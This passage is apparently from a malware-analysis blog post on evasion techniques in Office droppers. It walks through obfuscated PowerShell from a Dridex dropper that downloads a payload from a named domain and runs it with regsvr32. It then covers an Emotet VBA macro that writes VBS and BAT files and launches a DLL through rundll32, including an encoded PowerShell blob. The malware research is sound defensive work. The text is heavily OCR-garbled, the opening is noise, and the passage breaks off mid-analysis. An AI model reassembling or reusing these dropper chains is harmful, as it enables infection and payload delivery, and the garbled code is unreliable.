CloisTyvuf TCO eDFUWSBEN Tod @LMAS FTUT /FuvINGab2 @ TWeFF g0 TnSaValQr T11ghiQHM 3267 nly nik /WL JbyMBesQvs
YARMSZSVZ CIVYZ LN%31171z3oNvhael tWIPTVAMWI Z4b3 29X 2C+7r2] 1p 8/ VPR 9dw1G ToL fqzEWpl pAcYECI sY sROBE
A uhFav+5 IdaQk ce 218 3UxilSywzulMsY phi 7 0kmyvU SR bOWhk 8hPmrtri ESWUWED 1H s InmT 861 rONcS QR IGW1 ]8R
aVquelT P97 Jc 7w POWKz WRU L BbimMd BOMm@ AR hi+bqy Hr oy 2 F AL P 2 OR Gy cNY Kpe L ANmMOXB AL B cu 7 g Aok ut
Ak sHPpHPRICCwAF5GK30e LBmBoAcZ pFAaXEF ZpTud g9MLF v Lyt SolL Bl Mc ec adZWF FnShs CBebp AP nak v cIde7 7R
RbHO165 ck ZHwxI Rnokv LI sm2 T/ GQo/ ao+9g2 by A2DUSUH] 3rxEKm3 y8kcU T7 FRBGRST 353 th 74Gg4 JF TPc 9rHC dgg O
FO3vBnpVUEBS 51 co LiBFxuse sNY@dmd KH8s+ag R 17 BLGDY HOBCY S1mE4DSVirhm3 CMZ 25 b2 0AV=T 61 Doz hvXnmivc nB
JevDBFIOeSul tvdsrgk TT KDz dHFI9 Tk 2m v xn furf MokbyTe T zB8UQLKK VP IS Kel Oa 96y vI puPIBDs had 27 X2 Fq/ BD
e S C05x 8gVUa 9841 Ri+ Sy BimGMMhz CoSF bvk 5++52AE 2TwK@5ml 5 7V EFL 2vDaMguFoPbRzg L+ &Y T QMA/ K BESK IpY vh
1li6obdTVEByuaEYsmraabLlrnXynfz RBe54GaXsm/ 3 1+x5 L0352 nubkba+ 1 Z710F pdy tFH51VL 1r g/ / yROCZAF 7ryBSmS
MWK ot 2EMLE FoRK 1nRASL /v USFdF 2 1uSELYa vz 1691882 LSG3B1zvES 1rP16FrgsI nd ZNATRAMBIT vPFUKeF MF
VilGZ thio 8 zyK ad EUKKRGT gvC jUT zwkHp&akz chkMg 3EBL ved tubd/ XsDiU79vs rRYDd fdb TS I+FEQRESSA 1W9z skgtd
wp-+NK201oM8N gz GN+pVE1 RRhSHA 51 b1 5v 2vEHE NP9 SmIRE0A 1R S/ Trl HmddDFL 6y JowC aF 13 pfEer INZRudBLE
tHUVYeR zC 2 e FryamBnlNhaAQhe 1gF 2p TxF1F W7 Uy RRXL xkK TR TCS QX JNd vp 3+ 30RGI Qox 2z 8h 78N 1 X euoch sYvimhP
HVFz oped ed JWR 2MzDm7G07 IakWNUdDn Ix 7L KSmT T rlk6a Joels rI S+6 cuwhi+hErnGa cAqRtGI 2b 12T tcVID T M7 Jagu7?
JLtEx2BmL b7 wd jV zFXwqrmyomnSiW2 JRMWF 2/ 1TkzuS61ZE63 118/ k+3ees LoLEI SNgFFaj A IZF @ValE EwvZmzc 8
en¥2RuqGs dyl 3L Xe JEw 7Y BEA RHFeRML SaSLS Dy ypy koedz SURc 3AMLDY 1wl Bom+-4FrGLWFL nmQbBsSUpLdvus b+ 17w 1
kSkfVCags u3a T/ JqodoVrPZexamn&Pc C7ms1 CweRhe/ NKRTA SréyyOwaloHeFv TPF hINDs@E4v 518 2z cTmat TVeljA+
£3k18MIG210s7 10UTAGP ALY PolSMSEGE FDS qR7AQAIZES/ 1 g+ FEVYEEX I d 8b Yot 7q 109 LHATE Z8KwrU4L gPh3F
uIlgFQTmBd TV1 8F eY UyBdd BkaGmChI emPazsL VM s/ 2pzT5+FE]358 13NN LweBz 82 t=Cp2 1u18GNr 95y c+KT 2KK LS
+HAUk i TwPSHb 77 usdaoul fwz oF L1ku+ROONHBEwhS Dt tC 313 ZF inoVg FIX kD cwfa+Mard I ct Bo Qe Ly TAVEL YT w33 Id
BpSRT/ hjieHgKB cdwdvZT eV 7+ LPmUr 4 eh81BvFHNZ ngy Fris+7LrE SGERS 7VFQMighS6bI nlyeP gaYyEH] T2 vIlavy
+¥ &z Ba7 RN F3 pwTS7 8qUBwUp IV Fw+tK gl 1LDST KWy keGP k2 yv3Dwmas3b@l TL pFAdS nsL L/ Oml1 dv 2] rM 2F0tUEm
pDXTmMDFEm74 ArQrepZR 13 Evl bod188HAg IShAr IRz pMhL rCmUy by 1 DR Vinmu maP 6+ 9XnVn RO 6 /7851 GRPYBKP
®Pvpmy/ Nn /SRKDwvMp7 LrEedVoOFBY MY JUSE2 C+ kzRMgHL e1GZmaK g sbDpOyemaMIi rOTtF UmVavitm3ZUZ53w7 pZ 5iHTo
&7 6o Gathc +Lwk+pLhreghyOy Sy 1JF /2 6eVBc gMyRLws A8A=="" ;

function YI({&{Qq})

{

&("nal") ('cf') ("MNew-Cbject");

II:llsalu] {IOKI ::I {IliEKII _;-

AL (e ) (IO, StreamReader™) (L 'cf' ) ("I0.Compression. GZipStream” ) (&( 'cF")
("I0.MemoryStream") -A @(, ( gET-VA&Riable ("FKE1") -wALUEONnLly

11 "FromBasesdstring” ). Invoke(${gQ}+11), ( gEt-Varidble ("SpVGER"™)

J.valUE :: "decompRESs™ 1)) . ( "ReadToEnd™) . Invoke ()

r

('yi') (5{aB})

Just as before, base64 decoding and decompression are required in order to retrieve the
code of the next stage. However, this time Dridex employs something we have not seen in

previous stages — aliases.

In the above snippet, ‘nal’ (‘New-Alias’) and ‘sal’ (‘Set-Alias’) are used to set ‘cf’ and ‘ox’ as

aliases for ‘New-Object’ and ‘iex,” respectively.

“.(‘yi")(${aB})” returns another call to the ‘yi’ function, which in turn provides the following

output:
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${0aT hx}= [type](® {5}{2}{1}{4}{5}{9}{3}‘ -F ‘eMb', 'eeT','L', 'Ly', ‘lon.As’, ‘reft, 's)
L(“{2HEH1}" -FEt-It', BN, "S') (" (2}8}{1)" -F risbLE:", gxd’, vat)
[twe]("{2}{4}{5}{9}1’.5}{3}{?}{5}{E}{l}‘ -F
TURATY.C, CTATY',"Syst",prt,"eM’, ‘.’ , "NDoWSIDEM', "iNCIPA',"L.WL', "SEC'}} ; &("{@}{1}"-
FUSE', 't} ("{@1}"-f "ONR",'8') { [TrPe](" {2}{1}{0}" -F' ! 'HEDI}I‘ ‘Text.e'}};
(Y -f 5T, Cet")  (“{1M{e}2}"-F'Tel, Wo', k') ( [TWE]{ {2He}{1}"-¢
'EY,CREY, "Canw') ) so(T{@H1}"-f 'set-ite’, n} ("{aHer{1}"-f'md', ' c", 'VaRIablEza")
([Type](“{1}{8}" -F “e’,*io.Fil*) ) ; &("{1H@}"-f 'ET','s') ("3sR"+"q48")
([t¥pe](“{1}{a]" -F'ex’,*REG") ) ; ${s}=B;3{G}=1;${F A}=18@;function
WIS{1H} S (S{EH}. (“{1HBH2}" -F ‘st','sub’, 'ring’).Invoke(${G}) -replace(’-*,"'});return
S{_1lis{Q el=(&("{3HEH1H2}"-F't-*,"Pr', ‘Dceas’, 'Ge') -Id
B{P id}). "M A" in WIn d' OwHandle";§{c’ A}=[Runtime. InteropServices. HandleRes] ; ${¥x}=8("{1}{a}
{2H{3}°-F °b°, "New-0', “jec”, "t H{CAMS{EL F{Q B S {t}=R("{2H{1H{e}" -F ‘et’, -

Phje-, ‘Mew") ${c’ A}(2,5{a3);{( ( -('gi') ({3H{IHIHB}"-F Tho', ‘ob’, “le:", VaRTAL®)
BUWALTUET s ({31 H{2}" -FL', adWithPart’, ‘alMame', ‘Lo’ ). Inveke(("{a}{1H{2}"-

Fiind’, towsBa', 'se’)))-({1HE}"-F ‘e’ GELTyp'). IﬂW'»E{{ {6}{1}{5}{3}{4}{1}{9}"

Fis', "Method” , 'A32.°,"ns", CafeNative’ Ut CMS. WL )R ({2 @1}

'Wind®, ‘owPas®, "Set” ) Invoke (B0 1}, 5T}, § {5}, {s}, {F A}, E{fa},64. 5"255},‘{1} ({eHzH1}"
(f "om’,%a%, " fger®);${1}=${I}.("{1}{0}" ¥ ‘plit’,‘a’).Tmmke(’ ');${sS}=.('y*}({

${G ¥dp::("{1H{2HB}"-f "nt","GetCu','rre’ } ]:mnoke{}} "u”SeR"."Wa® Lue” )i S{E}="ht +({"{11{a}"

L 10, tpst 1eS{T}$(G)]+(*{1H@)" “F'a’, nag )+ .c'+(${I}[${S},${g}] -replace
CND{SH) ST R eR(Ss ACSLY) (M{e{2 1} FY, abler/F, tant) e b ("{1}48}" -
F'lace’,'rep”).Invokel(” ", ) {"Se') L ("{2He}{3}{1}" -f'eb’, 'ent’, Net.W', C1i');&("'SI"})
(U{er1p{ar” -f 'U',,'a' "riable:C2') (.(" {B}{l}{z}‘ ' New-0bj ', ‘e’ '1:1: }ofafewt) 1
Ma))iA('SV') ('e') (*{2}{1H{8}"-f ‘ata’,’loadd’,"Down');${o" Ad}= {([Char[]]{ﬂ"{i}{ﬂ}{l}'
‘e, "Va',"able") ("C2"}) —Ualueun) {f.(" {1}{&}{2}‘ -f'ab', 'varl','le'} ("c'} -

Waly)."inwD ke"((.("{ZH1}{8}"-Ff 'ble",'ia", 'var') {'f'}} "waL” lle-"}]--

Qodn®* ) E{T" Fel=5{En Vot e mp}; ${M I}=(${d}=.("{1H{8}"-F 'ci’,'g'} ${t'FE}].("{2H1Ha}" -f
‘andom’ , ‘et-r","g"1)."Na mE® -replace

C A ST RGN (AT L W M= {0" Ad} . (" {1}{3}{2}{a@}" -
Fgt, st tint, thetet ) Invokel 85}, 8 {G}) s ${P}=[ int] S {wM}*E{F A} 4{o 0a} =4{o ad}.("{1}{B}"-
F e, trenov’ ). Invoke(${5},8{G});${P L}=f{o 0a} -spliv'!';.("{8}{1}"- f sa',"1") ('mc')
("48H1H2}"-F'r', "egavr’, "32' ) 3{IPk=  (&("{@}{2}{1}"-F'VaRli’, 'Ble’,"a") ("{1}{8}" -f
rlm- . '0°)  -WalUE )=:=U TFE";function Va{${ZX}){${5a}= %{n" nTEu]{} s{eHIM3I 2} -
'F* . 'sefdstring”, "omBa® ). Inmke{i{u}},rmrn £{5"Aa}};foreach(${II} in

s(p’ l}[i{S}] J{${e)=R0); ${p" PL}=S (WM} . ("{Z}H1}{8}" -
'rn.rray‘,'Iu',,'TnC'j.Inunka();!{i‘i}:&{'un'){${i‘ I}y ifor(${IL}=%{s}; &{f1} -1t

F{Ii}. "rou Nt ${jL}es){${G} += [char]{[Byte]${IT}[${j1}] -

foxor [Byte]${P pTHS${] LI%${P pTh. " OUNT® 1)} 3 ${Wv}=3{o" Oa}. "repla” ce"((i{pl.}l'_i{s}]+"':| 5
[E}. 6 EtSTTRAng {${gi)); ¢ -(“{1}A}"FUE, ‘wvardsh ) ({BH1} -f'o, mC")

b AluET s ("{2}{e}{1}" -f "liByte’,"s’, 'Writed').Invoke(S{w}, (&( va’ }(i{'n.r v}l -replace
tof2easty ) AR (C{eH"-Fr e, tel ') S{wh) LetNGtht -1t ${phi{exdt};. ("{1He}"-f
‘ep’,'sle’) 9:&("mc") -5 Bf{w}i.{"{1H{@}" -F 'p','slee') 13; (E("{1H@}" -F 'le", 'vARIAR")
({eH1}" -f "om","dC") ).TwATLUE"::{"{@}{2M1}" -f ‘Writeall','s',‘Line’).Invoke(${W},
EB({1He}{2}" -f'b","WARIA","le") ("3Sr"+"g4B") -VAlUEe J::("{a}{1}" -
Fireplac’, "e’ ). Invoke(${s s},"\D"," "))

And after some cleanup, we can finally get a semi-clear picture of what the dropper tries to

do:

9/25



L{08Thx}= [typel("reFLecTion.AsseMbly™) ;
L(SEt-TtEM) (wAriAbLE:g¥d) ( [tvpe]("SysteM.SECURiTY.priNCIPAL.WiNDoWsIDENTITY")) ;
&(SEt) ("ONR®™) ( [T¥Pel("Text.eNCoDINg"));
LASet) ("NoTeUx™)  [TypEl("Convert™) ) ;
LTset-item™)  (VaRIablE:omDc) ([Typel(“io.File™) ) ;
A("sET") ("3sRg48") ([t¥pel("REGex") ) :
${s1=8;
£{G}=1;
L{FAT=188;

function ¥{£{iH})

i
S(E{iH}.("substring”).Invoke(1l) -replace( -"," ")1);

_

Ti

${0el=(&("GetProcess™) -Id &{Pid}).MAinWIndOwHandle;
${cAt=[Runtime. Interopservices.HandleRef];

S{¥¥}I=&("New-0Object™) [Runtime.InteropServices.HandleRef](1,&("GetProcess™) -Id
£{Pid}).MALMWIndOwHand1e) ;

S{tT=B("New-Object™) &{xx}(2,8);

o
[typeli~"reFLecTion. AsseMbly ™)) . VALLUE:: { "LoadWithPartialName”).Invoke( ("WindowsBase™))).( "Ge
tType™ ). Invoke ([ "M5.Win32 .UnsafeNativeMethods™) ) ) :("SetWindowPos" ). Irvoke | ${¥x},%{T},8,8,1
@8,188,64.5%256) ;

L{I}=("om /gerao’);
£{it=%{I}.("split").Invoke(" '3J;

E{55}=. "y ) ((
[typeli( " systeM.SECURITY.priNCIPAL . WiNDoWsIDENTLITY" )::("GetCurrent™ ). Invoke( ) .user. Value);

${E}="https: eronaga. com/gero -replace T (\D{S}), /S )+ +4{5s};

&(°Si') (Variable:/f) ${e}.("replace”).Invoke(’ ", ') ;EWilINassenbieralURLIEhatilo0Kks
like this https://geronaga.com/gero?myHyphenlackinglID

L("Sv') 1 (“Net.WebClient™);
&(°SI') (Variable:(2) (.{"New-Object™) (.('Gv') 1 -Va));
E("5V") ('c”) ("DownloadData™);

${oAad}=({[Char[]](&Variable) ("C2") -Valueldn).{(.(Variable) {('c") -
Val)).invOkel (.(Variable) {'f')).VALUe))-Join"");

${TFgt=%{EnV:temp};
${MI}=(%{d}=.("Get-ChildItem”) ${ErV:temp}|.( get-random™)).NamE -replace ~.{4}%"; Hirims

S{WI=5{TFG}+ " +5{MI}+ . ;
]
S{VMI=5{0Ad}. (" substring™ ) .Invoke(8,1);

S{P}=[int ]S {WM}*4 {FA};

f£{ooa} =%{oAd}.{"remove™).Invoke(%{5},5{G});

£{Plt=%{o0a} -split'!";

("sal™) ("mc’) (“regsvr32”); #Setsan alias, now ‘mc’ stands For regsvr32

£{IP}= (&([TYPe]( "Text.eNCoDINg"))::UTFE;

function Va(${Zx}) #Decodes from basesd
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After going over the above code (and adding a few notes for myself along the way, which |
left in the snippet), | finally reached a verdict regarding the dropper’s true intention: it
retrieves the user’s ID, removes the hyphens it contains, and assembles a URL that looks
like this https://geronagal.Jcom/gero?myHyphenLackingUID. It then downloads a file to the
user’s temp directory, decodes and decrypts it, executes the file’'s content using ‘regsvr32’
and then, finally, deletes this content to avoid leaving any traces.

Since the domain is inactive and the focus of our blog is to present evasion techniques in
Microsoft Office droppers, | did not expand my analysis of the downloaded file. However,
since we know that ‘regsvr32’ is used to execute the file’s content and that the payload is a
DLL, we can assume that the downloaded file contains a DLL registration command for the
payload.

For a more expanded analysis of this dropper, you can read this excellent blog.

Less Complicated, More Files

Sometimes, simple obfuscation techniques can be sufficient to avoid detection, especially if
the infection flow involves multiple stages and files written in different scripting languages, as
demonstrated below in the analysis of an Emotet dropper from the malware family’s recent
resurrection.
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AR OO rrelevant code- redacted (A EIIIIEEIEETT AT A0Y
Private Sub Workbook_Open()

Dim intRow As Integer, intCol As Integer

Diim intMinesCount As Integer: Dim ghkew As Boolean: ghkew = False

For intMinesCount = 1 To 10

GjseGswIAGdtUIdf. chiklswRHswer Caption = Replace(Cells{112, 5), "furi®, ") intCol = Int{{6 *
Rnd) + 1) + 1

AAELEEEIERE E T Dirrelevant cade- redacted ) TIININEIEEERTITIREALEE Y

If ghkew <= True Then UyDlxdseHdysded 463, Cells{114, 5), Nothing,
GjseGswidbdtUdf . chtklswRHswer. Caption

ghkew = True
Ienet
GjseGsw3dbdtUldf. Tag = Cells(110, 12)
If intMinesCount = 3689 Then
J//Note: the condition is never met, since the value of ‘intMinesCount’ ranges between 1 and 10
Application.StatusBar = "sehmwke weg3re: * & intMinesCount
Else
UlyDledseHaysded 463, Cells(111, 10), Mothing, GjseGsw346dtUIdf.chtklswRHswer Tag The Emotet dropper's VBA output. Note:
GjseGsw3dbdtUldf. tHdshlkdf36r. Text = "gewiw®
End If
End Sub

Sub UlyDlxdseH4ysdgd(gnjler As Integer, ByVal facliwyuwo3 As String, gileworioweSARF As Object,
ByVal HsetySisgsre As String)

FLEEEEEE R L rrelevant code- redaceed I TITEITEEERECEE LAV
GjseGsw3dbdtUldf.chtklswRHswer. Tag = Cells{114, 11} & vbCrlLf & Cells(113, &)

End Sub

Attribute WVB_Name = "GjseGsw3d6dtildf

Attribute VB_Base = "0{BCBEFO20-1668-4800-B46F-FFSOEFETETCS B2 E2BTEF-47B3-4C65-8980-
EE9417558758)"

Attribute WB_Predeclared|d = True ffMote: this means that 'GjseGsw346dtUIdf” is a global variable
SRR R relevant code- redacted TR EEEITEREER O RIY

some parts of the code were redacted, since they are irrelevant to this blog, moreover, some of them are never executed.
As you can see, the VBA function “Cells” is used in this script to extract contents of specified

Excel cells and use them in the VBA script. Without knowing what these cells contain, it is
difficult to determine whether the file is malicious or not, especially since none of the
commands seems damning enough.

To get a clearer picture, | replaced all the cells highlighted functions in the above code
snippet with the matching string values, highlighted in yellow in the below code snippet.
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I T Derelevant code- redacted// /71 1ITHTTHTTEITE I EIE LT
Private Sub Workbook_Open()

Dim intRow As Integer, intCol As Integer

Dim intMinesCount As Integer: Dim ghkew As Boolean: ghkew = False

For intMinesCount =1 To 10

GjseGsw346dtUldf.chtklswRHswer.Caption = Replace("furidifurim gSEdJDsfy5JGHKdggdh:sfuriet
gSEdIDsfySIGHKdggdh=wfuriscfuriripfurit.cfurireafuritefuriobfurijefurict(refuriplfuriacfurie("WGweiS
GweicrGweiipGweit.SGweihelGweil","Gwei",""})):ryulxdHSerw=rfuriepfurilafurice("curiw:uriw\puriwr
ogruriwamduriwaturiwa\ughldskbhn.buriwat","uriw",""):gSEd)Dsfy5IGHKdggdh.rfuriufurin
ryulxdHSerw,0,tfurirufurie:HkjsdsfEhdse46d=refuriplfuriacfurie("cuerlxmuerlxd fuerlxc
suerlxtauerlxruerlxt uerlx/uerlxB

uerlxc:uerlx\wuerlxinuerlxdowuerlxs\suerlxyswuerlxouerlxwbuerlx4\ruuerlxnduerlxluerlx|3uerlx2.ue
rixexuerixe

uerlxc:uerlx\uerlxpruerlxoguerlxramuerlxdauerixta\bneuihlows.duerlxluerlxl, hjyldksfkw3","uerlx","")
:gSEdIDsfy5)GHKdggdh.rfuriufurin HkjsdsfEhdsed6d,furi0”, "furi", ""): intCol = Int((6 * Rnd) + 1) + 1

W ] Drrelevant code- redacted/// /111111 HEETILEITET I T T

If ghkew <> True Then UlyDJxdseH4ysdgd 463, "c:\programdata\yhjlswle.vbs", Nothing,
GjseGsw346dtUldf.chtkiswRHswer.Caption

ghkew = True
Next
GjseGsw346dtUIdf.Tag = "Wscript.Shell"
If intMinesCount > 3689 Then
//Note: the condition is never met, since the value of ‘intMinesCount’ ranges between 1 and 10
Application.StatusBar = "sehnwke weq3re: " & intMinesCount

Else

UlyDJxdseH4ysdgd 463, "c:\programdata\ughldskbhn.bat", Nothing,
GjseGsw346dtUldf.chtklswRHswer.Tag

GjseGsw346dtUIdf.tHdshlkdf36r.Text = "gewiw"
End If

End Sub

Sub UlyDJxdseH4ysdgd(gnjler As Integer, ByVal facliwyuo3 As String, gjeworioweSARF As Object,
ByVal Hsety5isgsre As String)

I ] eelevant code- redacted////111THTTHTITTTIT LTI ET LT TR AT

GjseGsw346dtUIdf.chtklswRHswer.Tag = "dir&echo etjlwejdfsgdsrYHDShD46dsrtydfghrg
sdfgsdGDs46sdfHZSdgSwryoi&SET ertEWRt4=po&echo fkj3h5tidxhdfgokihJFjxxdsd4ghkxfghxd ghkw

gfkjbgekedfghYdhjFxdf&SET cvFHDErte75s=wers&echo
GIDrft678dYjdfGhSbgs5y7dfghGgEqwghcfghcghndt5tyuoghgh&SET oifYdFGhse34sd=hell -e&echo
YertyDSrfGfHFTGUfHdghDfHxdgW4ehfgh78dfHDRgdsFhdfghdFBGDFnnctfGuiyfilJUCFAHdrGdhf&SET
wreDgdSdytDFf=nc&echo DGFDRFs57dTFgjiDYigukcvghjGFmjFxchdGFSdFqw3eDThfgH&SET

INCEU e Ademrnanh CTADVALIMACAACARNAA DA ALUVAL G AGAM G AARADAALMAAARCANO Al D= A LAVAD]
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JUPLARUTESLERNT= TADMAMNUWAIUAYALUUADAWDAAN TAUWAVALWAJADUAN UALARDALOALWDLAOUATUD)
AHUAcABWAHMALgBJAG8AbQAVAGUAbABUACOAaQBtAGEAZWBIAHMALWBBAFkAdgB5AGsAegBnAC
8ALABoAHQAdABWADOALWAVAGUACcgBpAGMAYQBUAGQACcgBVAGIAaQBUACAAYwWBVAGOALWBJAGE
AaQAVAHEAUgBIADgAZABSAGEARWAYAEgARABOAEBATWBHADEALWASAGgAdABOAHAAOgAVACBAC
wBvAHMAYQBuUAHQAaQBxAHUAZQBzACAAYwBvAGOALWBjAGcAaQAVADkAaQBpACBALABoAHOAdA
BwAHMAOgAVACBAZwWBYAGUAZOBUAGWAYQB3AG4AaQByAHIAaQBnAGEAdJABpAGBAbgAUAGAAZQ
BOACS8ARWBMAEKAXwBOAGUAdwAVAEOAUgBsAHOAMwBtAE8AaQBIAHOARQAVACWAaABOAHQACA
BzADoALwWAVAG8AbgAtAGwAaQBUAGUAdgBIAG4AdAB1AHIAZQBzAC4AYWBVAGOALWBjAGCcAaQAVA
GsAcwAWAEOACAAVACWAaABOAHQA&echo fghkseudhkrhfgklh gshk4HHDTHDSHFJUOHLKkNxserg5
VGNfGthjtfhxdrfS&SET
AegFhtXfgdf=cAA6AC8ALWBzAHUAbgByAGkAcwBIAGMAbwBUAHMAdQBsAHOAYQBUAHQALEBJAGS
AbQAVAGUAbABUACOAaQBtAGEAZWBIAHMALWBzAEBANABYAHYARgBCAHMAZQB2AEMAUgBmMACS
ALABoAHQAdABWADOALWAVAGIAbABVAGCALEBSAGBAZWBVADEAMgAzACAAYwBVAGOALWB3AHAAL
QBjAG8AbgBOAGUAbgBOACBAMQASAECAMAAOAEWAagBBADEAVQBJAEUAMQBOAE4AOAAVACWAR
ABOAHQACAABACBALWBpAGAAdABYAGEAYgBsSAGBAZWAUAHQAYQBOAGEAbQBVAHQAbwBYAHMAL
gBjAG8AbQAVAHCACAAtAGKAbgBjAGWAJQBKAGUACWAVAEOARWBHAGKANQBBAGMAWEBYAGSAbw
BSAEYASAASAC8AIgAUAHMAUABMAEKAdAAOACIALAAIACKAOWAEAGYAbWBSAGUAQQBDAGEAKAAK
AHKASQBKAHMAUgBoAHKAZOAZADQACWB5AHUAZEBNAHEAagBjAGOAZEAEAGKATEAGACOATQBKAF
gAZABmAHMAQABEAHIAZgBHAFoA&echo
fdghkw4hyithyuishgkisYiUoUllfgk67fgKjFITHXDrgWghdFhfgjtyhShdgzs&SET
BXdgrtysews34yu=cwBIAHMANAApAHsAJABHAHCAZQBZAEgANQA3AHMAZQBkAHMAdwBKADOAIgB
jADoAXABWAHIAbwBnAHIAYQBtAGQAYQBOAGEAXABIAGAAZQB1AGkAaABSAGBAdwBzACAAZABSAG
wAIgA7AGkAbgBWAE8AawBIACOAdwBIAEIAcgBFAHEAVQBIAHMAVAAgACOAdQBSAEKAIAAKAHKASQ
BkAHMAUgBoAHKAZQAZADQACWB5AHUAZEBNAHEAagBAGOAZEAZACOAbWBVAHQAREBIAGWAZQA
gACQARWB3AGUAWQBIADUANwWBzAGUAZABzAHCAZAA7AGKAREAOAHOQAZOBTAHOQALQBWAEEAVAB
oACAAJABHAHCAZOBZAEEANQA3ZAHMAZQBKkAHMAdwBKACkAewBpAGYAKAADAGCARQBOACOAaQB
OAEUAbQAgACQARWB3AGUAWQBIADUANWBzZAGUAZABzAHCAZAApACAADABIAE4ARWBOAGEAIAAL
AGCcAZQAgADQANWAOADMANgApPAHsAYgBSAGUAYQBrADsAfQBIAHOA" & vbCrLf & "echo
FGsrtghskeh4hirugh sgekg5Skjgrkyhdlfighx7dGUTDRYUFu6r7yfugHIGIFKgjhkoi87jhgkjkj&start/B
/WAIT
Y%ertEWRt4%%cvFHDErte755%%0ifYdFGhse34sd%%wreDgdSdytDFf%%;jDFtHxdrgszegh% %AegFhtXfg
4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgrdjehgdfgDRHdRHdrt4ydds rtgdjth"

End Sub
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Attribute VB_Name = "GjseGsw346dtUldf"

Attribute VB_Base = "0{8CB6F020-1668-4800-B46F-FF59EFE787C5}{82E2B76F-47B3-4C65-898D-
EE9417558758}"

Attribute VB_Predeclaredld = True //Note: this means that ‘GjseGsw346dtUIdf is a global variable
TN ieeelevant code- redacted/////111111TIHHTTITITEITETE 1110107
Public hglodefilfHdrsd As Object

Public hglsiffg3Sgasergk As Object
T 1 irrelevant code- redacted////1111T1HHIHTTITTTTEITETT T 11T 11T

Function ZSFgasrjus5ebssdvdfbsyhjshdq23() As String

T Diveelevant code- redacted// /{11110 HTTIETEE LTI EET

GjseGsw346dtUIdf.IgASagw34t.Tag = Replace("wghwuyscghwuyrghwuyipghwuyt
ghwuycghwuy:ghwuy\pghwuyroghwuygraghwuymdghwuyatghwuya\yhjlswle.vghwuybghwuys",
"ghwuv", llll]

Set hglsiffg3Sgasergk = _
hglodefilfHdrsd.CreateObject(GjseGsw346dtUIdf.Tag, "")

End Function

T Diveelevant code- redacted [/ (1110 ETTEETTEE LT T 1L ET

Sub tUyKDGFhs4dgjdcd()

TN ieeelevant code- redacted/////111111HIHTTITTTHETTETE T 1101117
Set hglodefilfHdrsd = CreateObject("RDS.DataSpace")

End Sub
I T eeelevant code- redacted///// 11111111 HTTEEETIELTTIEE T 10D 11T

This provided greater insight into the script’s functionality; the “Wscript.shell” string suggests
Wscript will be used to execute additional commands, while "c:\programdata\ughldskbhn.bat"
and "c:\programdata\yhjlswle.vbs" imply that Emotet uses these Batch and VBS files in this
infection flow.

The strings highlighted in green in the above snippet are replaced in the lengthy strings
extracted from the Excel cells by an empty string using the VBA “Replace” function. Padding
parts of the actual commands with these strings decreases the chances of them being
flagged during a static analysis. After the VBA “Replace” command is run, the following is
received:
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GjseGsw346dtUIdf.chtklswRHswer.Caption = Replace("furidifurim gSEdJDsfy5JGHKdggdh:sfuriet
gSEdIDsfy5)GHKdggdh=wfuriscfuriripfurit.cfurireafuritefuriobfurijefurict(refuriplfuriacfurie("WGweiSGweicrG
weiipGweit.SGweihelGweil","Gwei","")):ryulxdHSerw=rfuriepfurilafurice(" curiw:uriw\puriwrogruriwamduriwa
turiwa\ughldskbhn.buriwat","uriw",""):gSEdDsfy5JGHKdggdh.rfuriufurin
ryulxdHSerw,0,tfurirufurie:HkjsdsfEhdse46d=refuriplfuriacfurie("cuerlxmuerlxd /uerlxc suerlxtauerlxruerlxt
uerlx/uerlxB
uerlxc:uerlx\wuerlxinuerlxdowuerlxs\suerlxyswuerlxouerlxw6uerlx4\ruuerlxnduerlxluerlxl3uerlx2.uerlxexuerlx
e
uerlxc:uerlx\uerlxpruerlxoguerlxramuerlxdauerlxta\bneuihlows.duerlxluerlxl,hjyldksfkw3","uerlx",""):gSEdJDsf
y5JGHKdggdh.rfuriufurin HkjsdsfEhdse46d,furiQ”, "furi®, "")

v

GjseGsw346dtUldf.chtklswRHswer.Caption = "dim gSEdJDsfy5JGHKdggdh:set
gSEdIDsfy5JGHKdggdh=wscript.createobject(replace("WGweiSGweicrGweiipGweit.SGweihelGweil","Gwei",""))
:ryulxdHSerw=replace("curiw:uriw\puriwrogruriwamduriwaturiwa\ughldskbhn.buriwat","uriw",""):gSEdJDsfy5J
GHKdggdh.run ryulxdHSerw,0,true:HkjsdsfEhdse46d=replace("cuerlxmuerlxd /uerlxc suerlxtauerlxruerlxt
uerlx/uerlxB
uerlxc:uerlx\wuerlxinuerlxdowuerlxs\suerlxyswuerlxouerlxw6uerlx4\ruuerlxnduerlxluerlx|3uerlx2.uerlxexuerlxe
uerlxc:uerlx\uerlxpruerlxoguerlxramuerlxdauerlxta\bneuihlows.duerlxluerlxl,hjyldksfkw3","uerlx",""):gSEdJDsfy
5JGHKdggdh.run HkjsdsfEhdse46d,0"

GjseGsw346dtUIdf.IgASagw34t.Tag = Replace("wghwuyscghwuyrghwuyipghwuyt
ghwuycghwuy:ghwuy\pghwuyroghwuygraghwuymdghwuyatghwuya\yhjlswle.vghwuybghwuys", "ghwuy", ")

GjseGsw346dtUIdf.IgASagw34t.Tag = "wscript c:\programdata\yhjlswle.vbs"

With the information from the above decoded strings in hand, | could determine that the next
stage in the infection flow is the VBS script, which the VBA dropper executes using “wscript.”
Since there were no direct calls to the BAT script in the VBA code, | could assume that, if
used, it would be executed from the VBS script.

Basically, the VBA dropper only creates the VBS and BAT files, writes content into each of
them, and then the VBS script takes center stage.
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dim gSEdJDsfy5JGHKdggdh:set
gSEdIDsfy5JGHKdggdh=wscript.createobject(replace("WGweiSGweicrGweiipGweit.SGweihelGweil","
Gwei","")):ryulxdHSerw=replace("curiw:uriw\puriwrogruriwamduriwaturiwa\ughldskbhn.buriwat","
uriw",""):gSEdJDsfy5JGHKdggdh.run ryulxdHSerw,0,true:HkjsdsfEhdse46d=replace("cuerlxmuerixd
Juerlxc suerlxtauerlxruerlxt uerlx/uerlxB
uerlxc:uerlx\wuerlxinuerlxdowuerlxs\suerlxyswuerlxouerlxw6uerlx4\ruuerlxnduerlxluerlxl3uerlx2.ue
rixexuerlxe
uerlxc:uerlx\uerlxpruerlxoguerlxramuerlxdauerlxta\bneuihlows.duerlxluerlxl,hjyldksfkw3", "uerlx","")
:gSEdJDsfy5)GHKdggdh.run HkjsdsfEhdse46d,0

c:\programdata\yhjlswle.vbs’s oriﬁinal content . )
As can be seen above, the VBS script contains several commands, all concatenated using

colons. After separating the commands into different lines and activating the “replace”
functions, | received the following:

dim gSEdJDsfy5JGHKdggdh:

set gSEdJDsfy5JGHKdggdh=wscript.createobject('WScript.Shell'):
